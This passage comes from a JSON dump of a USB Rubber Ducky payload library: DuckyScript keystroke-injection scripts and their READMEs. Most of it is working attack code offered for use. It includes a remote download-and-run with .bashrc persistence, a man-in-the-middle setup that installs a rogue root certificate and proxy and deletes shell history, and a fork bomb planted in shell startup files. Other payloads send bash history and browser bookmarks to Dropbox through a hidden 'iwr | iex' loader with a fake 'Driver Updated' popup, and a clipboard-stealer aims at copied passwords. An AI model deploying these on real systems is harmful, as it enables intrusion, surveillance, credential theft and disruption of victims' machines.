    "content": "REM #######################################################\nREM #                                                     |\nREM # Title        : Telegram Persistent Connection Linux |\nREM # Author       : Aleff                                |\nREM # Version      : 1.0                                  |\nREM # Category     : Execution                            |\nREM # Target       : Linux                                |\nREM #                                                     |\nREM #######################################################\n\nREM Requirements:\nREM     - Internet Connection\n\nREM Here you must put your own file link\nDEFINE #PYTHON-SCRIPT-LINK https://www.example.com/connection.py\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\nSTRINGLN\n\tcurl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo \"if ! pgrep -f connection.py >/dev/null; then\n\tpython3 connection.py &\n\tfi\" >> .bashrc; exit\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/execution/UninstallSignal/README.md",
    "content": "# Uninstall Signal\n\nA script used to uninstall signal-desktop app on Windows users.\n\n**Category**: Execution\n\n## Description\n\nA script used to uninstall signal-desktop app on Windows users.\n\nOpen a PowerShell, stop the Signal proccess if it runs and then execute the uninstall file trhough general path.\n\n## Dependencies\n\n* Signal App installed (obviously LOL)\n* ExecutionPolicy Bypass\n\n## Settings\n\n- Nothing to set, this payload is Plug-And-Play <3\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/UninstallSignal/payload.txt",
    "content": "REM #####################################\nREM #                                   |\nREM # Title        : Uninstall Signal   |\nREM # Author       : Aleff              |\nREM # Version      : 1.0                |\nREM # Category     : Execution          |\nREM # Target       : Windows 10-11      |\nREM #                                   |\nREM #####################################\n\nREM Plug-And-Play <3\n\nREM Requirements:\nREM   - Signal App installed\nREM   - ExecutionPolicy Bypass\n\nDELAY 2000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\n\nSTRINGLN Stop-Process -Name \"Signal\"\nDELAY 500\nSTRINGLN  Start-Process \"$env:LocalAppData\\Programs\\signal-desktop\\Uninstall Signal.exe\"\nDELAY 1000\nREM Popup \"Are you sure?\"\nENTER\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/README.md",
    "content": "# Uninstall A Specific App On Windows Through Control Panel\n\nThis script can be used to uninstall a specific app on a Windows System.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to uninstall a specific app on a Windows System.\n\nThe script opens the research app and go to `Uninstall or change a program` page using the default path `Control Panel\\Programs\\Programs and Features`, then go to the search bar and write the app name, then got on the app, press space to select and enter to uninstall it.\n\nWhen uninstalling an application through the Windows Control Panel, it may not always be enough, especially for complex programs like antivirus software. In such cases, specific uninstaller applications are often required to ensure the complete removal of all components and avoid leaving behind residual files or registry entries. While most standard applications can be successfully uninstalled through the Control Panel, complex or security-related programs may benefit from using specific uninstaller applications for a more thorough and complete removal and, in that cases, this script doesn't work.\n\n**Unauthorized removal of an application is considered a crime** and can result in severe consequences. Tampering with system files without permission violates cybersecurity laws and can lead to legal penalties.\n\nIn addition to legal implications, **unauthorized removal of an application can also pose permanent risks to files and system functionality**. Applications are designed to work within a specific environment, and sudden or improper removal can cause instability, errors, and permanent data loss.\n\n## Dependencies\n\n* Set the exact name of the application as it appears within the control panel. Do not assume that just because an application is known by a certain name then it will have exactly that name, e.g. `Firefox` shows up again as `Mozilla Firefox (x64 en)`\n\n    ```DuckyScript\n    DEFINE #APP_NAME example\n    ```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/alessandro_greco_aka_aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/instagram.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/payload.txt",
    "content": "REM ##############################################################################\nREM #                                                                            |\nREM # Title        : Uninstall A Specific App On Windows Through Control Panel   |\nREM # Author       : Aleff                                                       |\nREM # Version      : 1.0                                                         |\nREM # Category     : Execution                                                   |\nREM # Target       : Windows 10/11                                               |\nREM #                                                                            |\nREM ##############################################################################\n\nREM Requirements:\nREM     - The application you want to uninstall must be installed on the target (?obvious right? ^^)\n\nREM Note:\nREM     - Payload tested on Windows 11 Eng \n\nREM Set the exact name of the application as it appears within the control panel. Do not assume that just because an application is known by a certain name then it will have exactly that name, e.g. `Firefox` shows up again as `Mozilla Firefox (x64 en)`\nDEFINE #APP_NAME example\n\n\nREM Open Windows research\nDELAY 2000\nGUI\nDELAY 1000\n\nREM Search and opern explorer app\nSTRING explorer\nENTER\nDELAY 1000\n\nREM Goto search bar and open \"Uninstall or change a program\" page\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\nSTRING Control Panel\\Programs\\Programs and Features\nENTER\nDELAY 1500\n\nREM Goto search bar and search the app\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nSTRING #APP_NAME\nDELAY 500\n\nREM Select the app and click on it\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nSPACE\nDELAY 500\nENTER\nDELAY 500\nENTER\nDELAY 2000\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Win_HID_InvisableDesktopFolder/payload.txt",
    "content": "REM Title: Invisible Desktop Folder\r\nREM Author: Cribbit\r\nREM Description: Creates a some what invisible folder on the desktop.\r\nREM Target: Windows 10 with english language\r\nATTACKMODE HID\r\n\r\nEXTENSION DETECT_READY\r\n    REM VERSION 1.1\r\n    REM AUTHOR: Korben\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        USAGE:\r\n            Extension runs inline (here)\r\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n            boot delay\r\n\r\n        TARGETS:\r\n            Any system that reflects CAPSLOCK will detect minimum required delay\r\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #RESPONSE_DELAY 25\r\n    DEFINE #ITERATION_LIMIT 120\r\n\r\n    VAR $C = 0\r\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\r\n        CAPSLOCK\r\n        DELAY #RESPONSE_DELAY\r\n        $C = ($C + 1)\r\n    END_WHILE\r\n    CAPSLOCK\r\nEND_EXTENSION\r\n\r\nDELAY 1000\r\nREM Minimize all windows\r\nGUI m\r\nDELAY 100\r\nMENU\r\nDELAY 100\r\nREM Select Ne_w\r\nw\r\nREM Select _Folder\r\nf\r\nDELAY 100\r\nREM hold ALT and type 255 on keypad.\r\nINJECT_MOD\r\nHOLD ALT\r\nKPAD_2\r\nKPAD_5\r\nKPAD_5\r\nINJECT_MOD\r\nRELEASE ALT\r\nENTER\r\nDELAY 100\r\nMENU\r\nDELAY 100\r\nREM Select _Open\r\no\r\nREM Select Pr_operties\r\no\r\nDELAY 100\r\nENTER\r\nDELAY 100\r\nREM Move to tabs across the top\r\nSHIFT TAB\r\nSHIFT TAB\r\nDELAY 100\r\nREM Go across to customise \r\nRIGHTARROW\r\nRIGHTARROW\r\nRIGHTARROW\r\nRIGHTARROW\r\nREM Select Change _Icon\r\nALT i\r\nDELAY 100\r\nREM Move to selection window \r\nTAB\r\nTAB\r\nDELAY 100\r\nREM move right 13 time to select the clear icon.\r\nREM please check on your system that this is the case.\r\nVAR $MOVERIGHT = 13\r\nWHILE ( $MOVERIGHT > 0 )\r\n    RIGHTARROW\r\n    $MOVERIGHT = ( $MOVERIGHT - 1 )\r\nEND_WHILE\r\nDELAY 100\r\nREM Click OK twice\r\nENTER\r\nENTER"
  },
  {
    "path": "payloads/library/execution/Win_HID_InvisableDesktopFolder/readme.md",
    "content": "# :mag: Invisible Desktop Folder\r\n* Author: Cribbit \r\n* Version: 1\r\n* Target: Windows 10 (English)\r\n* Category: Execution\r\n* Attackmode: HID\r\n\r\n## :book: Description\r\nCreates a somewhat invisible folder on the desktop.\r\nUses an invisible character for the name and a transparent icon.\r\nThis targets the English version of Windows. as it uses the underlined letters to select menu items and buttons.\r\n\r\n## :musical_note: Notes\r\nYou will need the define KPAD_2 and KPAD_5 in your language file:\r\n```JSON\r\n    \"KPAD_SLASH\":\"00,00,54\",\r\n    \"KPAD_ASTERISK\":\"00,00,55\",\r\n    \"KPAD_MINUS\":\"00,00,56\",\r\n    \"KPAD_PLUS\":\"00,00,57\",\r\n    \"KPAD_ENTER\":\"00,00,58\",\r\n    \"KPAD_1\":\"00,00,59\",\r\n    \"KPAD_2\":\"00,00,5a\",\r\n    \"KPAD_3\":\"00,00,5b\",\r\n    \"KPAD_4\":\"00,00,5c\",\r\n    \"KPAD_5\":\"00,00,5d\",\r\n    \"KPAD_6\":\"00,00,5e\",\r\n    \"KPAD_7\":\"00,00,5f\",\r\n    \"KPAD_8\":\"00,00,60\",\r\n    \"KPAD_9\":\"00,00,61\",\r\n    \"KPAD_0\":\"00,00,62\",\r\n    \"KPAD_DOT\":\"00,00,63\",\r\n```\r\n\r\n\r\n## :page_facing_up: Change Log\r\n| Version | Changes                       |\r\n| ------- | ------------------------------|\r\n| 1.0     | Initial release               |"
  },
  {
    "path": "payloads/library/execution/Windows-Duck-In-The-Middle/README.md",
    "content": "# Windows Duck In The Middle\n\n<p>\n    <a href=\"https://payloadstudio.hak5.org/community/?device=usb-rubber-ducky&viewurl=https://raw.githubusercontent.com/hak5/usbrubberducky-payloads/master/payloads/library/execution/Windows-Duck-In-The-Middle/payload.txt\">\n        <img alt=\"VIEW ON: HAK5 PAYLOADSTUDIO\" src=\"https://img.shields.io/badge/VIEW_ON-HAK5_PAYLOADSTUDIO-red?style=for-the-badge\">\n    </a>\n    <a href=\"#\">\n        <img alt=\"TARGET: WINDOWS 10, 11\" src=\"https://img.shields.io/badge/TARGET-WINDOWS_10,_11-blue?style=for-the-badge\">\n    </a>\n    <a href=\"#\">\n        <img alt=\"VERSION: 1.0\" src=\"https://img.shields.io/badge/VERSION-1.0-green?style=for-the-badge\">\n    </a>\n</p>\n\nThis payload sets up a trustworthy proxy for the user, enabling a [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack). After executing your payload, the proxy server will intercept all the target user's network traffic.\n\n## Process\n\n1. Detects when the USB Rubber Ducky is ready and whether the target operating system is Windows.\n2. Creates a new virtual desktop.\n3. Opens a PowerShell window using the Windows+X menu.\n4. Runs PowerShell code that performs the following actions:\n- Downloads your certificate to a temporary file.\n- *Configures Firefox to accepts root user certificates for each profile.*\n- Configures and activates the proxy for the current user.\n- Deletes the temporary certificate file and PowerShell history, then closes the window.\n5. Confirms the addition of a trusted certificate in the confirmation dialog box.\n6. Closes the virtual desktop.\n7. *Disables USB Rubber Ducky*\n\n> [!NOTE]\n> No configuration is required for Chromium-based browsers since they accept user root certificates by default.\n\n## Prerequisites\n\nTo use this payload, you'll need a proxy server and a [root certificate](https://en.wikipedia.org/wiki/Root_certificate). The certificate must be downloadable from a website, either from your proxy server or from an online file hosting service such as [Dropbox](https://www.dropbox.com/). You can easily generate the certificate using tools such as [mitmproxy](https://mitmproxy.org/) or [Burp Suite](https://portswigger.net/burp).\n\n> [!WARNING]\n> To ensure the payload functions properly, generate the \"mitmproxy-ca-cert.pem\" certificate in the \"Other platforms\" section when using mitmproxy.\n\n## Options\n\n|Required options|Data type|Default value|Description|\n|-|-|-|-|\n|CERT_URL|String|example.com|The download link for your Trusted Root CA certificate|\n|PROXY_IP|String|127.0.0.1|Your proxy's IP address|\n|PROXY_PORT|Integer|8080|Your proxy port|\n\n|Advanced options|Data type|Default value|Description|\n|-|-|-|-|\n|SHORT_DELAY|Integer|500|Short delay time|\n|MEDIUM_DELAY|Integer|2000|Medium delay time|\n|LONG_DELAY|Integer|4000|Long delay time|\n|CONFIGURE_FIREFOX|Boolean|TRUE|Configures Firefox to accepts root user certificates for each profile|\n|DISABLE_AFTER_EXECUTION|Boolean|TRUE|Disables USB Rubber Ducky after payload execution|\n\n## Contributors\n\n- [PlumpyTurkey](https://codeberg.org/PlumpyTurkey)\n"
  },
  {
    "path": "payloads/library/execution/Windows-Duck-In-The-Middle/payload.txt",
    "content": "REM_BLOCK DOCUMENTATION\n    Title: Windows Duck In The Middle\n    Author: PlumpyTurkey\n    Description: This payload sets up a trustworthy proxy for the user, enabling a Man-in-the-middle attack.\n    Target: Windows 10, 11\n    Version: 1.0\n    Category: Execution\nEND_REM\n\nREM Required options:\nDEFINE #CERT_URL example.com\nDEFINE #PROXY_IP 127.0.0.1\nDEFINE #PROXY_PORT 8080\n\nREM Advanced options:\nDEFINE #SHORT_DELAY 500\nDEFINE #MEDIUM_DELAY 2000\nDEFINE #LONG_DELAY 4000\nDEFINE #CONFIGURE_FIREFOX TRUE\nDEFINE #DISABLE_AFTER_EXECUTION TRUE\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nEXTENSION WINDOWS_ONLY \n    REM VERSION 1.0\n    REM AUTHOR: Korben\n\n    DEFINE #FAILURE_LED TRUE\n    DEFINE #FAILURE_LED_MODE LED_R\n    DEFINE #FAILURE_ATTACKMODE ATTACKMODE OFF\n\n    IF (($_OS == WINDOWS) == FALSE) THEN\n        IF_DEFINED_TRUE #FAILURE_LED\n            #FAILURE_LED_MODE\n            DELAY 500\n            #FAILURE_LED_MODE\n            DELAY 500\n            #FAILURE_LED_MODE\n        END_IF_DEFINED\n        #FAILURE_ATTACKMODE\n        STOP_PAYLOAD\n    END_IF\nEND_EXTENSION\n\nCTRL GUI d\nGUI x\n\nDELAY #SHORT_DELAY\nSTRING i\n\nDELAY #MEDIUM_DELAY\nSTRING_POWERSHELL\n    Clear-Host; \n    $c = New-TemporaryFile; \n    try { \n        Invoke-WebRequest -UseBasicParsing -Uri \"#CERT_URL\" -OutFile $c; \n        Import-Certificate -FilePath $c -CertStoreLocation \"Cert:\\CurrentUser\\Root\"; \nEND_STRING\n\nIF_DEFINED_TRUE #CONFIGURE_FIREFOX\n    STRING_POWERSHELL\n            if (Test-Path \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\") { \n                Get-ChildItem -Path \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\" -Filter \"prefs.js\" -Recurse | ForEach-Object { \n                    (Get-Content $_.FullName) -replace '\"security.enterprise_roots.enabled\", false','\"security.enterprise_roots.enabled\", true' | Set-Content $_.FullName \n                } \n            }; \n    END_STRING\nEND_IF_DEFINED\n\nSTRING_POWERSHELL\n        @{ \"ProxyServer\" = \"#PROXY_IP:#PROXY_PORT\"; \"ProxyEnable\" = \"1\" }.GetEnumerator() | ForEach-Object { \n            Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -Name $_.Name -Value $_.Value \n        } \n    } \n    finally { \n        Remove-Item $c; \n        Remove-Item (Get-PSReadLineOption).HistorySavePath; \n        exit \n    }\nEND_STRING\n\nENTER\n\nDELAY #LONG_DELAY\nALT TAB\n\nDELAY #SHORT_DELAY\nTAB\nENTER\n\nCTRL GUI F4\n\nIF_DEFINED_TRUE #DISABLE_AFTER_EXECUTION\n    ATTACKMODE OFF\nEND_IF_DEFINED\n"
  },
  {
    "path": "payloads/library/execution/termBomb/payload.txt",
    "content": "REM Title: termBomb\nREM Description: termBomb prompts message \"!!!!!!YOU HAVE BEEN HACKED!!!!!!\" and executes fork bomb on launching shell/terminal.\nREM Author: drapl0n\nREM Version: 1.0\nREM Category: Execution\nREM Target: Unix-like operating systems.\nREM Attackmode: HID\n\nDELAY 400\nCTRL-ALT t\nDELAY 400\nSTRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE\nENTER\nSTRING cat <<EOF > /tmp/tmppp\nENTER\nSTRING ls -a | grep 'zshrc' &> /dev/null\nENTER \nSTRING if [ 0 = 0 ]; then\nENTER\nSTRING         echo -e \"echo -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\" >> ~/.zshrc\nENTER\nSTRING         echo \":(){ :|:& };:\" >> ~/.zshrc\nENTER\nSTRING fi\nENTER\nENTER\nSTRING ls -a | grep 'bashrc' &> /dev/null\nENTER\nSTRING if [ 0 = 0 ]; then\nENTER\nSTRING         echo -e \"echo -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\\necho -e \\\"\"'!!!!!!YOU HAVE BEEN HACKED!!!!!!\"'\"\" >> ~/.bashrc\nENTER\nSTRING         echo \":(){ :|:& };:\" >> ~/.bashrc\nENTER\nSTRING fi\nENTER\nSTRING EOF\nENTER\nDELAY 300\nSTRING chmod +x /tmp/tmppp && /tmp/./tmppp && rm /tmp/tmppp\nENTER\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/Bash-History/payload.txt",
    "content": "REM Title: Bash-History\nREM Author: Zoe Ronen\nREM Description: This payload is meant to exfiltrate bash history to a dropbox\nREM Target: Linux/Xfce4\n\nREM replace the [DROPBOX_ACCESS_TOKEN] placeholder with your actual Dropbox access token\nDEFINE #API_TOKEN [DROPBOX_ACCESS_TOKEN]\n\nDELAY 500\nALT-F2\nDELAY 500\nSTRING xfce4-terminal\nDELAY 500\nENTER\nDELAY 500\nSTRING curl -X POST https://content.dropboxapi.com/2/files/upload\nSPACE\nSTRING --header \"Authorization: Bearer\nSPACE\nSTRING #API_TOKEN\nSTRING \" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"/home/$USER/.bash_history\\\"}\"\nSPACE\nSTRING --header \"Content-Type: application/octet-stream\" --data-binary @.bash_history\nDELAY 500\nENTER\nDELAY 500\nSTRING exit\nDELAY 500\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/Bookmark-Hog/BH.ps1",
    "content": "#Bookmark-Hog\r\n\r\n# See if file is a thing\r\nTest-Path -Path \"$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks\" -PathType Leaf\r\n\r\n#If the file does not exist, write to host.\r\nif (-not(Test-Path -Path \"$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks\" -PathType Leaf)) {\r\n     try {\r\n         Write-Host \"The chrome bookmark file has not been found. \"\r\n     }\r\n     catch {\r\n         throw $_.Exception.Message\r\n     }\r\n }\r\n # Copy Chrome Bookmarks to Bash Bunny\r\n  else {\r\n     $F1 = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_chrome_bookmarks.txt\"\r\n     Copy-Item \"$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks\" -Destination \"$env:tmp/$F1\" \r\n }\r\n\r\n# See if file is a thing\r\nTest-Path -Path \"$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks\" -PathType Leaf\r\n\r\n#If the file does not exist, write to host.\r\nif (-not(Test-Path -Path \"$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks\" -PathType Leaf)) {\r\n    try {\r\n        Write-Host \"The edge bookmark file has not been found. \"\r\n    }\r\n    catch {\r\n        throw $_.Exception.Message\r\n    }\r\n}\r\n # Copy Chrome Bookmarks to Bash Bunny\r\n else {\r\n    $F2 = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_edge_bookmarks.txt\"\r\n    Copy-Item \"$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks\" -Destination \"$env:tmp/$F2\" \r\n}\r\n\r\nfunction DropBox-Upload {\r\n\r\n    [CmdletBinding()]\r\n    param (\r\n        \r\n    [Parameter (Mandatory = $True, ValueFromPipeline = $True)]\r\n    [Alias(\"f\")]\r\n    [string]$SourceFilePath\r\n    ) \r\n    $DropBoxAccessToken = \"YOUR ACCESS TOKEN\"   # Replace with your DropBox Access Token\r\n    $outputFile = Split-Path $SourceFilePath -leaf\r\n    $TargetFilePath=\"/$outputFile\"\r\n    $arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\r\n    $authorization = \"Bearer \" + $DropBoxAccessToken\r\n    $headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\r\n    $headers.Add(\"Authorization\", $authorization)\r\n    $headers.Add(\"Dropbox-API-Arg\", $arg)\r\n    $headers.Add(\"Content-Type\", 'application/octet-stream')\r\n    Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\r\n    }\r\n\r\nDropBox-Upload -f \"$env:tmp/$F1\"\r\nDropBox-Upload -f \"$env:tmp/$F2\"\r\n\r\n$done = New-Object -ComObject Wscript.Shell;$done.Popup(\"Driver Updated\",1)\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Bookmark-Hog/README.md",
    "content": "<img src=\"https://github.com/atomiczsec/My-Payloads/blob/main/Assets/bm-hog.png?\" width=\"200\">\n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Bookmark+Hog!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Bookmark-Hog\n\nA payload to exfiltrate bookmarks of the 2 most popular browsers\n\n## Description\n\nThis payload will enumerate through the browser directories, looking for the file that stores the bookmark history\n\nThese files will be saved to the temp directory\n\nFinally dropbox will be used to exfiltrate the files to cloud storage\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Bookmark-Hog/payload.txt",
    "content": "REM     Title: Bookmark-Hog\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload is meant to exfiltrate bookmarks to the rubber ducky\r\n\r\nREM     Target: Windows 10, 11\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1\r\n"
  },
  {
    "path": "payloads/library/exfiltration/ClipBoard-Creep/README.md",
    "content": "# Clipboard-Creep #\r\nClipboard-Creep is a basic script which tracks the users clipboard and exfiltrates it contents. It was created to get access to passwords copied out of password managers, but might be useful in general.\r\n\r\n\r\n## Usage ##\r\n### #HOOK ###\r\nDefine your webhook under #HOOK\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/exfiltration/ClipBoard-Creep/media/hook.png)\r\n\r\n### #CALLBACK_DELAY ###\r\nDefine a timer under #CALLBACK_DELAY. This defines the pause between calls to your webhook. A default of 12 seconds was choosen to capture potential passwords, in clipboards of password managers.\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/exfiltration/ClipBoard-Creep/media/callback.png)\r\n\r\nAfter successful execution you'll see the contents of your targets clipboard or simply signs of life flying into your webhook. \r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/exfiltration/ClipBoard-Creep/media/clippy.png)\r\n"
  },
  {
    "path": "payloads/library/exfiltration/ClipBoard-Creep/payload.txt",
